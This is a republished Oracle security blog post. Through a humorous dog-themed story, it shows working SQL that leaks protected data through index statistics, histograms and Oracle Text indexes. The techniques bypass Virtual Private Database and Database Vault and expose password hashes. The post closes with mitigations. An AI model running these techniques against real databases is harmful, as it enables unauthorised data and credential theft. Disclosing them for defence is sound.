4

Horrible Histograms and Invidious Indexes – Exploits to by-pass Oracle Database...

 3 years ago
source link: https://mikesmithers.wordpress.com/2020/11/20/horrible-histograms-and-invidious-indexes-exploits-to-by-pass-oracle-database-security-including-vpd-and-database-vault/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Horrible Histograms and Invidious Indexes – Exploits to by-pass Oracle Database Security – including VPD and Database Vault

Posted on November 20, 2020

This article is about how Indexes and Histograms may be used to view data to which a user does not ordinarily have access. It includes details of how these objects can be used to circumvent both Virtual Private Database and Database Vault restrictions.
If you want a serious and thorough exploration of these issues then I’d suggest you take a look at Alexander Kornbrust’s recent DOAG Presentation.

However, if you like your infosec to come with cute puppy pics, read on…

Meet Alexander Kornbrust. He’s an Information Security specialist with a particular focus on Oracle.

Having known Alex for many years, there are a couple of things about him that I find striking. Firstly, every time we have a conversation about the Oracle RDBMS, I learn something new. Secondly, in all these years, he hasn’t aged a day :

Alex has found some “interesting” behaviours inherent in Relational Databases in general and Oracle is no exception in this respect.

Before we get into that though, we need to meet the story’s main protagonist.

His name is Teddy. He’s done a bit of background research for the role and he thinks that remaining incognito would be a good starting point :

Have you got a false nose to go with these glasses ?

Truth be told, persuading him to do this ( in fact to do anything he’s supposed to) took some doing. In the end however, we overcame the human/canine communication barrier by employing the Esperanto of bribery. As a result, Teddy now has a large stockpile of dog biscuits. The relevance of this will become apparent shortly…

NOTE – I was able to run all of the code in this article on Oracle 18cXE running on CentOS 7.

Teddy just got a job at Lead the Way – a pet equipment company. He’s just been added to the Company’s HR system, which may well look rather familiar…

insert into employees(
employee_id, first_name, last_name, email, phone_number,
hire_date, job_id, salary, manager_id, department_id)
values(
employees_seq.nextval, 'Teddy', 'Dog', 'TDOG', '590.423.4570',
to_date('20190226', 'YYYYMMDD'), 'IT_PROG', 2000, 103, 60)
/

Whilst he is only a lowly paid member of the IT Department, he does have some relatively powerful privileges in order to look after the system :

grant create session, select_catalog_role to tdog identified by password_buried_in_the_garden;

Teddy’s privileges will change as we go through this post. For now though, they are as follows :

select privilege, 'System Privilege' as PRIVILEGE_TYPE from session_privs union
select role, 'Granted Role' from session_roles;
PRIVILEGE                      PRIVILEGE_TYPE 
------------------------------ ----------------
CREATE SESSION                 System Privilege
HS_ADMIN_SELECT_ROLE           Granted Role   
SELECT_CATALOG_ROLE            Granted Role   

This means that Teddy has no access to data in the application tables :

select *
from hr.locations;
ERROR at line 2:
ORA-01031: insufficient privileges

Actually, that’s not entirely true…

Accessing High/Low values via an index

As Teddy has SELECT_CATALOG_ROLE, he can confirm that there is actually a LOCATIONS table in the HR schema…

select object_type
from dba_objects
where owner = 'HR'
and object_name = 'LOCATIONS';
OBJECT_TYPE           
-----------------------
TABLE                 

…confirm which columns are in the locations table…

select column_name, data_type
from dba_tab_columns
where owner = 'HR'
and table_name = 'LOCATIONS';
COLUMN_NAME                    DATA_TYPE          
------------------------------ --------------------
LOCATION_ID                    NUMBER             
STREET_ADDRESS                 VARCHAR2           
POSTAL_CODE                    VARCHAR2           
CITY                           VARCHAR2           
STATE_PROVINCE                 VARCHAR2           
COUNTRY_ID                     CHAR    

…and which of those columns are indexed…

select index_name, column_name
from dba_ind_columns
where table_owner = 'HR'
and table_name = 'LOCATIONS';
INDEX_NAME                     COLUMN_NAME                  
------------------------------ ------------------------------
LOC_CITY_IX                    CITY                         
LOC_STATE_PROVINCE_IX          STATE_PROVINCE               
LOC_COUNTRY_IX                 COUNTRY_ID                   
LOC_ID_PK                      LOCATION_ID    

Which means we can find at least two values for character columns by querying the index meta-data…

with
function raw_to_date(i_var in raw) return date as
o_var date;
begin
dbms_stats.convert_raw_value(i_var,o_var);
return o_var;
end;
function raw_to_number(i_var in raw) return number as
o_var number;
begin
dbms_stats.convert_raw_value(i_var,o_var);
return o_var;
end;
function raw_to_varchar2(i_var in raw) return varchar2 as
o_var varchar2(32767);
begin
dbms_stats.convert_raw_value(i_var,o_var);
return o_var;
end;
select 
case(substr(data_type,1,9))
when 'VARCHAR2' then  to_char(raw_to_varchar2(high_value))
end as plain_text_lo_val,
case(substr(data_type,1,9))
when 'VARCHAR2' then to_char(raw_to_varchar2(low_value))
end as plain_text_hi_val
from dba_tab_columns
where table_name = 'LOCATIONS'
and column_name = 'CITY'
/
PLAIN_TEXT_LO_VAL    PLAIN_TEXT_HI_VAL  
-------------------- --------------------
Whitehorse           Beijing            

There’s a lot more data skulking around in other corners of the data dictionary…

Horrible histograms

Looking at the histograms generated by stats gathering jobs, we can find even more LOCATIONS data :

select column_name
from dba_histograms
where owner = 'HR'
and table_name = 'LOCATIONS'
having count(*) > 2
group by column_name;
COLUMN_NAME                  
------------------------------
COUNTRY_ID                   

As there are more than two rows for the LOCATIONS.COUNTRY_ID column in DBA_HISTOGRAMS Teddy knows that HISTOGRAM stats have been gathered.

As this column is actually a VARCHAR2, he can see the unencrypted COUNTRY_ID values simply by running :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'LOCATIONS'
and column_name = 'COUNTRY_ID'
/
ENDPOINT_ACTUAL_VALUE                                                                                                            
----------------------
AU                                                                                                                               
BR                                                                                                                               
CA                                                                                                                               
CH                                                                                                                               
CN                                                                                                                               
DE                                                                                                                               
IN                                                                                                                               
IT                                                                                                                               
JP                                                                                                                               
MX                                                                                                                               
NL                                                                                                                               
SG                                                                                                                               
UK                                                                                                                               
US                                                                                                                               
14 rows selected.

Remember, all Teddy has done to access this information is to run a few queries against the data dictionary.

In fact, the statement that created the histogram we’ve just looked at is contained in one of the HR schema creation scripts – $ORACLE_HOME/demo/schema/human_resources/hr_analz.sql :

EXECUTE dbms_stats.gather_schema_stats(
'HR'                            ,      
granularity => 'ALL'            ,      
cascade => TRUE                 ,      
block_sample => TRUE            );

Even if selects on the table are being audited, these queries on the data dictionary will not be picked up.

While this is all very interesting, Teddy has other plans. After all, he wants to start monetizing his biscuit mountain and thinks that a mailing campaign would be just the job to generate sales. After all, it’s a Pet equipment company so some of his colleagues must be dog people. What he wants to do, therefore, is to obtain a list of email addresses…

Creating a histogram to bypass SELECT auditing

Teddy has passed his probation and now has an additional privilege :

grant analyze any to tdog;

Once he’s found the column that holds the data he’s interested in…

select column_name
from dba_tab_columns
where owner = 'HR'
and table_name = 'EMPLOYEES';
COLUMN_NAME        
--------------------
EMPLOYEE_ID
FIRST_NAME
LAST_NAME
EMAIL
PHONE_NUMBER
HIRE_DATE
JOB_ID
SALARY
COMMISSION_PCT
MANAGER_ID
DEPARTMENT_ID
11 rows selected.

…he can check to see if a histogram already exists :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';
ENDPOINT_ACTUAL_VALUE                  
----------------------------------------
2 rows selected.

As there are only two rows, each with a null ENDPOINT_ACTUAL_VALUE, Teddy can infer that no histogram exists on the table. However, this is not a major problem as he can use his new privilege to generate one :

begin
dbms_stats.gather_table_stats(
ownname => 'HR',
tabname => 'EMPLOYEES',
method_opt => 'FOR COLUMNS EMAIL size 255');
end;
/

It’s worth remembering that gathering stats on a table will not trigger auditing of SELECT statements on the table.

Now, he can access all of the EMPLOYEES.EMAIL values :

select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';
ENDPOINT_ACTUAL_VALUE                  
----------------------------------------
ABANDA
ABULL
ACABRIO
AERRAZUR
AFRIPP
AHUNOLD
AHUTTON
AKHOO
AMCEWEN
AWALSH
BERNST
BEVERETT
CDAVIES
CJOHNSON
COLSEN
CVISHNEY
****SNIP****
SVOLLMAN
TFOX
TGATES
TJOLSON
TRAJS
VJONES
VPATABAL
WGIETZ
WSMITH
WTAYLOR
107 rows selected.

Indexes and Histograms vs Virtual Private Database

The concept of Virtual Private Databases (VPD) has been around for many years in Oracle. Essentially, VPDs restrict data access by adding a predicate to DML statements against specific tables.

There’s a brief explanation of how it all works here.

Before we go any further, let’s remove the histogram Teddy created on EMPLOYEES.EMAIL :

exec dbms_stats.gather_table_stats( ownname => 'HR', tabname => 'EMPLOYEES', method_opt => 'FOR COLUMNS EMAIL size 1');
select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';
ENDPOINT_ACTUAL_VALUE                                                          
--------------------------------------------------------------------------------
2 rows selected.

For the purposes of our story, we’ve taken a brutal yet effective approach to VPD implementation for the EMPLOYEES table.

Having adjusted HR’s privileges :

grant execute on dbms_rls to hr

…we’ve created this function in the HR schema :

create or replace function dept_id_fn( i_schema user_users.username%type, i_table user_objects.object_name%type)
return varchar2 is
begin
return 'department_id = 60';
end dept_id_fn;
/

…and (as HR), created a policy for all SELECT statements on the table :

begin
dbms_rls.add_policy(
object_schema => 'HR',
object_name => 'EMPLOYEES',
policy_name => 'OWN_DEPT',
function_schema => 'HR',
policy_function => 'dept_id_fn',
statement_types => 'SELECT');
end;
/

The upshot of this is that even HR can now only select rows from the EMPLOYEES table that have a DEPARTMENT_ID of 60 :

select department_id, email
from employees;
DEPARTMENT_ID EMAIL                   
------------- -------------------------
60 AHUNOLD                 
60 BERNST                  
60 DAUSTIN                 
60 VPATABAL                
60 DLORENTZ                
60 TDOG                    
6 rows selected.

Meanwhile, Teddy has now been granted access to the table :

grant select on hr.employees to tdog;

Bypassing VPD with a Histogram

Like HR, Teddy can only see the six Department 60 records in EMPLOYEES :

select department_id, count(*)
from hr.employees
group by department_id;
DEPARTMENT_ID   COUNT(*)
------------- ----------
60          6

However, he can still use the histogram trick to view all of the email addresses :

exec dbms_stats.gather_table_stats(
ownname => 'HR',
tabname => 'EMPLOYEES',
method_opt => 'FOR COLUMNS EMAIL size 255');
select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/
ENDPOINT_ACTUAL_VALUE                                                          
--------------------------------------------------------------------------------
***snip***
TFOX                                                                           
TGATES                                                                         
TJOLSON                                                                        
TRAJS                                                                          
VJONES                                                                         
VPATABAL                                                                       
WGIETZ                                                                         
WSMITH                                                                         
WTAYLOR                                                                        
108 rows selected.

Bypassing VPD with a fulltext index

Histograms are not the only dictionary object that can be used to circumvent VPD policies.

Let’s say that Teddy ( TDOG as he now inisits on being called) has the following additional privileges :

grant create table, create any index to tdog;
alter user tdog quota unlimited on users;

He could do the following…

create index tdog.email_idx on hr.employees(email)
indextype is ctxsys.context;

This statement uses Oracle Text to create an index on HR.EMPLOYEES.EMAIL.

The index itself is owned by TDOG. Teddy can then query the index, the creation of which has by-passed the VPD policy on the table :

select token_text
from dr$email_idx$i
/
TOKEN_TEXT                                                                     
***snip***
TFOX                                                                           
TGATES                                                                         
TJOLSON                                                                        
TRAJS                                                                          
VJONES                                                                         
VPATABAL                                                                       
WGIETZ                                                                         
WSMITH                                                                         
WTAYLOR                                                                        
108 rows selected.

So, we can conclude that data is visible via histograms and indexes, even when it is otherwise protected by a VPD policy.

Incidentally, it’s worth noting that this applies even if the index or histogram in question was created prior to the implementation of the VPD policy.

For example…

Bypassing VPD to access high and low values in a pre-existing index

Teddy can see values outside those defined by the VPD simply by looking at columns with pre-existing indexes. For example, the EMPLOYEE.EMAIL column already has an index :

select index_name
from dba_ind_columns
where table_owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL';
INDEX_NAME                   
------------------------------
EMP_EMAIL_UK

…which Teddy can now take advantage of as we’ve seen previously :

with
function raw_to_varchar2(i_var in raw) return varchar2 as
o_var varchar2(32767);
begin
dbms_stats.convert_raw_value(i_var,o_var);
return o_var;
end;
select 
case(substr(data_type,1,9))
when 'VARCHAR2' then  to_char(raw_to_varchar2(high_value))
end as plain_text_lo_val,
case(substr(data_type,1,9))
when 'VARCHAR2' then to_char(raw_to_varchar2(low_value))
end as plain_text_hi_val
from dba_tab_columns
where table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/
PLAIN_TEXT_LO_VAL                   PLAIN_TEXT_HI_VAL                 
----------------------------------- -----------------------------------
WTAYLOR                             ABANDA                            

Breaking into the Oracle Database Vault

The DBA at Lead the Way is fed up with all the spam she’s been getting about cheap dog biscuits. Apart from anything else, she’s a cat person.

Therefore, she’s decided to step up the data security by replacing the Virtual Private Database with an Oracle Database Vault Realm for the HR schema :

conn c##dbv_owner@xepdb1
begin
DBMS_MACADM.CREATE_REALM (
realm_name => 'HR Realm',
description => 'Human Resources - Right-sizing your future',
enabled => DBMS_MACUTL.G_YES,
audit_options => DBMS_MACUTL.G_REALM_AUDIT_FAIL,
realm_type => 1);
end;
/
begin
DBMS_MACADM.ADD_OBJECT_TO_REALM(
realm_name => 'HR Realm',
object_owner => 'HR',
object_name => '%',
object_type => 'TABLE');
end;
/
begin
DBMS_MACADM.ADD_AUTH_TO_REALM(
realm_name => 'HR Realm',
grantee => 'HR',
auth_options => DBMS_MACUTL.G_REALM_AUTH_OWNER);
end;
/

As a result of this, HR can still see it’s own tables, but no-one else can.

Even connecting as SYSDBA doesn’t help :

conn sys@xepdb1 as sysdba
Password? (**************?) ************
Connected.
SQL> select count(*) from hr.employees;
select count(*) from hr.employees
*
ERROR at line 1:
ORA-01031: insufficient privileges

Furthermore, a histogram won’t help in this instance, as all of the values show up in DBA_HISTOGRAMS as null :

begin
dbms_stats.gather_table_stats(
ownname => 'HR',
tabname => 'EMPLOYEES',
method_opt => 'FOR COLUMNS EMAIL size 255');
end;
/
PL/SQL procedure successfully completed.
select endpoint_actual_value
from dba_histograms
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
ENDPOINT_ACTUAL_VALUE                                                          
--------------------------------------------------------------------------------
***snip***                                                                               
108 rows selected.

According to popular culture at the moment, if you’re going to crack a vault, you will need Ray Winston and some mates armed with bus passes and an industrial drill ( other ageing cockney geezers are available).

Fortunately for us, the same can be achieved by a cheeky chappie with a database account.

Taking a closer look at the source code for DBA_TAB_HISTOGRAMS – the data dictionary view pointed to by the DBA_HISTOGRAMS public synonym – we can see that it uses the following line to enforce the Data Vault restrictions :

sys_op_dv_check(o.name,o.owner#)= 1

Let’s get the view query and change all occurences of this line to :

sys_op_dv_check(o.name,o.owner#)!= 1

The resulting query looks like this :

with cheeky_chappie_histos as
(
select /*+ ordered */ u.name as owner,
o.name as table_name,
decode(bitand(c.property,1),1,a.name,c.name) as column_name,
h.bucket as endpoint_number,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.endpoint
else
null
end as endpoint_value,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
case
when h.epvalue is not null then
epvalue
else
dbms_stats.conv_raw(h.epvalue_raw,c.type#)
end
else
null
end as endpoint_actual_value,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.epvalue_raw
else
null
end as endpoint_actual_value_raw,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.ep_repeat_count
else
null
end as endpoint_repeat_count,
'SHARED' as scope
from sys.user$            u,
sys.obj$             o,
sys.col$             c,
sys."_HISTGRM_DEC"   h,
sys.attrcol$         a
where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
3,
4
)                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
select null
from sys.tab$ t
where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
)))and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
union all
select /*+ ordered */ u.name,
o.name,
decode(bitand(c.property,1),1,a.name,c.name),
0,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.minimum
else
null
end,
null,
null,
0,
'SHARED'
from sys.user$              u,
sys.obj$               o,
sys.col$               c,
sys."_HIST_HEAD_DEC"   h,
sys.attrcol$           a
where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
3,
4
)                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
select null
from sys.tab$ t
where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
)))and h.row_cnt = 0 and h.distcnt > 0 and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
union all
select /*+ ordered */ u.name,
o.name,
decode(bitand(c.property,1),1,a.name,c.name),
1,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.maximum
else
null
end,
null,
null,
0,
'SHARED'
from sys.user$              u,
sys.obj$               o,
sys.col$               c,
sys."_HIST_HEAD_DEC"   h,
sys.attrcol$           a
where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj# and c.intcol# = h.intcol# and(o.type# in(
3,
4
)                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
select null
from sys.tab$ t
where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
)))and h.row_cnt = 0 and h.distcnt > 0 and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
union all
select /*+ ordered */ 'SYS',
ft.kqftanam,
c.kqfconam,
h.bucket,
h.endpoint,
case
when h.epvalue is not null then
epvalue
else
dbms_stats.conv_raw(h.epvalue_raw,c.kqfcodty)
end,
h.epvalue_raw,
h.ep_repeat_count,
'SHARED'
from sys.x$kqfta          ft,
sys.fixed_obj$       fobj,
sys.x$kqfco          c,
sys."_HISTGRM_DEC"   h
where ft.kqftaobj = fobj.obj# and c.kqfcotob = ft.kqftaobj and h.obj# = ft.kqftaobj and h.intcol# = c.kqfcocno
/*
* if fobj and st are not in sync (happens when db open read only
* after upgrade), do not display stats.
*/ and ft.kqftaver = fobj.timestamp - to_date('01-01-1991','DD-MM-YYYY')
union all
select /*+ ordered */ u.name,
o.name,
decode(bitand(c.property,1),1,a.name,c.name),
h.bucket_kxttst_hs,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.endpoint_kxttst_hs
else
null
end,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
dbms_stats.conv_raw(h.epvalue_raw_kxttst_hs,c.type#)
else
null
end,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.epvalue_raw_kxttst_hs
else
null
end,
case
when sys_op_dv_check(o.name,o.owner#)!= 1 then
h.ep_repeat_count_kxttst_hs
else
null
end,
'SESSION'
from sys.user$         u,
sys.obj$          o,
sys.col$          c,
sys.x$kxttstehs   h,
sys.attrcol$      a
where o.obj# = c.obj# and o.owner# = u.user# and c.obj# = h.obj#_kxttst_hs and c.intcol# = h.intcol#_kxttst_hs and(o.type# in
(
3,
4
)                                     /* cluster, view */or(o.type# = 2     /* tables, excluding iot - overflow and nested tables */ and not exists(
select null
from sys.tab$ t
where t.obj# = o.obj# and(bitand(t.property,512)= 512 or bitand(t.property,8192)= 8192)
)))and c.obj# = a.obj#(+)and c.intcol# = a.intcol#(+)
)
select *
from cheeky_chappie_histos
where owner = 'HR'
and table_name = 'EMPLOYEES'
and column_name = 'EMAIL'
/

…and returns the actual values in the histogram :

ENDPOINT_ACTUAL_VALUE                                                          
--------------------------------------------------------------------------------
ABANDA                                                                         
ABULL                                                                          
ACABRIO                                                                        
AERRAZUR                                                                       
AFRIPP                                                                         
AHUNOLD                                                                        
AHUTTON                                                                        
AKHOO                                                                          
AMCEWEN                                                                        
AWALSH                                                                         
BERNST              
***SNIP***
108 rows selected.

Reading Oracle Password Hashes from a Histogram

Before we wrap things up, there is one final exploit to examine.

Connected to the database as SYSTEM, we have no access to the SYS.USER$ table, which holds the password hashes in the SPARE4 column :

select spare4
from sys.user$
/
ERROR at line 2:
ORA-01031: insufficient privileges

However, SYSTEM has the ANALYZE ANY DICTIONARY privilege. Therefore, we can do this :

begin
dbms_stats.gather_table_stats(
ownname => 'SYS',
tabname => 'USER$',
method_opt => 'FOR COLUMNS SPARE4 size 255');
end;
/

…which now makes the password hashes available via the histogram :

select endpoint_actual_value
from dba_histograms
where owner = 'SYS'
and table_name = 'USER$'
and column_name = 'SPARE4'
/
ENDPOINT_ACTUAL_VALUE                  
----------------------------------------
****Loads of password hashes****

Mitigations

So, what can our erstwhile DBA do to avoid becoming knee deep in unwanted doggy treats ?

First of all, she needs to consider that, whilst the above examples have been generated on 18c, other releases may also be affected. She would need to verify this on whatever version and edition she is currently running.

Oracle are constantly working to provide fixes for vulnerabilities so timely application of Oracle Critical Patch Updates should remain a priority.

It should be noted that CPUs are not provided for Express Edition databases. Therefore, consideration should be given to what audience is appropriate for an application running on this database edition.

Every table for which auditing is enabled for select statements should have CREATE INDEX statements audited as well. Under normal circumstances, this activity should be rare and is therefore unlikely to flood the audit trail with a large number of additional entries.

Keeping track of which schemas have the privileges mentioned here would be useful. Equally useful would be to keep track of who can connect to the database using those schemas.

To recap, the main privileges (and role) in question are :

  • ANALYZE ANY
  • ANALYZE ANY DICTIONARY
  • CREATE ANY INDEX
  • SELECT CATALOG ROLE

Some data warehouse environments have bind variable peeking disabled. This being the case, histograms are not used by the optimizer. You can check to see if this is the case by seeing whether the _optim_peek_user_binds parameter is set :

select value
from v$parameter
where name = '_optim_peek_user_binds'
/

If the value is set to ‘TRUE’ then bind variable peeking is disabled and you can consider clearing down any histograms on application tables.

NOTE – as this is an underscore parameter and thus undocumented, you should check to make sure the above still applies to the Oracle version that you are currently running.

Acknowledgements

The brains behind this particular post belong to the afore mentioned Alexander Kornbrust. I continue to be awed by his wonderfully devious mind when it comes to all things Oracle. Teddy doesn’t agree, but he’s just sulking because Alex wouldn’t buy any dog biscuits.

This Oracle Base article on Virtual Private Databases by Tim Hall was helpful, as was this article on the same subject by Saurabh Gupta.

Of course, sometimes you just need to read the manual and my thanks goes again to the nameless Oracle Document Elves who produced the Getting Started with Database Vault Guide.

Teddy hopes that all of this has at least given you paws for thought. Oh, and would you like to buy some biscuits ?

Advertisements
Report this ad

report

Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK